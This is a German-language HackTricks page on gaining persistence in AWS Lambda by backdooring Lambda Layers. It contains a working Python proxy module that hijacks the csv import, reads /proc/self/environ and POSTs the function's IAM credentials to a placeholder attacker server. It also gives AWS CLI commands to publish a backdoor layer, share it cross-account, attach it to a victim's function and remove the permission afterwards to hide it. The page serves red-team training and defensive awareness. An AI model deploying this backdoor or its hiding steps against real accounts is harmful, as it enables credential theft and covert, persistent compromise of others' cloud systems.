AWS - Lambda Layers Persistence

Reading time: 7 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Lambda Layers

Ein Lambda-Layer ist ein .zip-Dateiarchiv, das zusätzlichen Code oder andere Inhalte enthalten kann. Ein Layer kann Bibliotheken, eine benutzerdefinierte Laufzeit, Daten oder Konfigurationsdateien enthalten.

Es ist möglich, bis zu fünf Layers pro Funktion einzuschließen. Wenn Sie einen Layer in einer Funktion einfügen, werden die Inhalte im Verzeichnis /opt der Ausführungsumgebung extrahiert.

Standardmäßig sind die Layers, die Sie erstellen, privat für Ihr AWS-Konto. Sie können wählen, ob Sie einen Layer mit anderen Konten teilen oder den Layer öffentlich machen möchten. Wenn Ihre Funktionen einen Layer verwenden, den ein anderes Konto veröffentlicht hat, können Ihre Funktionen die Layer-Version weiterhin verwenden, nachdem sie gelöscht wurde oder nachdem Ihre Berechtigung zum Zugriff auf den Layer widerrufen wurde. Sie können jedoch keine neue Funktion erstellen oder Funktionen mit einer gelöschten Layer-Version aktualisieren.

Funktionen, die als Container-Image bereitgestellt werden, verwenden keine Layers. Stattdessen verpacken Sie Ihre bevorzugte Laufzeit, Bibliotheken und andere Abhängigkeiten in das Container-Image, wenn Sie das Image erstellen.

Python load path

Der Ladepfad, den Python in Lambda verwenden wird, ist der folgende:

['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']

Überprüfen Sie, wie die zweite und dritte Position von Verzeichnissen eingenommen werden, in denen Lambda-Layer ihre Dateien entpacken: /opt/python/lib/python3.9/site-packages und /opt/python

caution

Wenn es einem Angreifer gelingt, einen verwendeten Lambda Layer zu backdoor oder einen hinzuzufügen, der beliebigen Code ausführt, wenn eine gängige Bibliothek geladen wird, kann er mit jeder Lambda-Aufruf bösartigen Code ausführen.

Daher sind die Anforderungen:

  • Überprüfen Sie Bibliotheken, die vom Code der Opfer geladen werden
  • Erstellen Sie eine Proxy-Bibliothek mit Lambda-Layern, die benutzerdefinierten Code ausführt und die ursprüngliche Bibliothek lädt.

Vorgebundene Bibliotheken

warning

Bei der Ausnutzung dieser Technik stieß ich auf eine Schwierigkeit: Einige Bibliotheken sind bereits geladen, wenn Ihr Code ausgeführt wird. Ich erwartete, Dinge wie os oder sys zu finden, aber sogar die json-Bibliothek war geladen.
Um diese Persistenztechnik auszunutzen, muss der Code eine neue Bibliothek laden, die nicht geladen ist, wenn der Code ausgeführt wird.

Mit einem Python-Code wie diesem ist es möglich, die Liste der Bibliotheken, die vorab geladen sind, innerhalb der Python-Laufzeit in Lambda zu erhalten:

python
import sys

def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}

Und dies ist die Liste (überprüfen Sie, ob Bibliotheken wie os oder json bereits vorhanden sind)

'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'

Und dies ist die Liste der Bibliotheken, die lambda standardmäßig installiert: https://gist.github.com/gene1wood/4a052f39490fae00e0c3

Lambda Layer Backdooring

In diesem Beispiel nehmen wir an, dass der angezielte Code csv importiert. Wir werden den Import der csv-Bibliothek backdooren.

Um dies zu tun, werden wir das Verzeichnis csv mit der Datei __init__.py darin in einem Pfad erstellen, der von lambda geladen wird: /opt/python/lib/python3.9/site-packages
Dann, wenn die lambda ausgeführt wird und versucht, csv zu laden, wird unsere __init__.py-Datei geladen und ausgeführt.
Diese Datei muss:

  • Unser Payload ausführen
  • Die originale csv-Bibliothek laden

Wir können beides mit:

python
import sys
from urllib import request

with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)

# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)

# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]

# Load original library
import csv as _csv

sys.modules["csv"] = _csv

Erstellen Sie dann eine Zip-Datei mit diesem Code im Pfad python/lib/python3.9/site-packages/__init__.py und fügen Sie sie als Lambda-Schicht hinzu.

Sie finden diesen Code unter https://github.com/carlospolop/LambdaLayerBackdoor

Die integrierte Payload wird die IAM-Credentials an einen Server senden, BEIM ERSTEN AUFRUF oder NACH einem Reset des Lambda-Containers (Änderung des Codes oder kaltes Lambda), aber andere Techniken wie die folgenden könnten ebenfalls integriert werden:

AWS - Steal Lambda Requests

Externe Schichten

Es ist zu beachten, dass es möglich ist, Lambda-Schichten aus externen Konten zu verwenden. Darüber hinaus kann ein Lambda eine Schicht aus einem externen Konto verwenden, auch wenn es keine Berechtigungen hat.
Es ist auch zu beachten, dass die maximale Anzahl von Schichten, die ein Lambda haben kann, 5 beträgt.

Daher könnte ein Angreifer, um die Vielseitigkeit dieser Technik zu verbessern:

  • Eine bestehende Schicht des Benutzers kompromittieren (nichts ist extern)
  • Eine Schicht in seinem Konto erstellen, dem Opferkonto Zugriff auf die Verwendung der Schicht gewähren, die Schicht im Lambda des Opfers konfigurieren und die Berechtigung entfernen.
  • Das Lambda wird weiterhin in der Lage sein, die Schicht zu verwenden, und das Opfer wird keine einfache Möglichkeit haben, den Code der Schichten herunterzuladen (außer durch den Erhalt einer Reverse-Shell im Lambda).
  • Das Opfer wird keine externen Schichten sehen, die mit aws lambda list-layers verwendet werden.
bash
# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

## Add layer to victims Lambda

# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks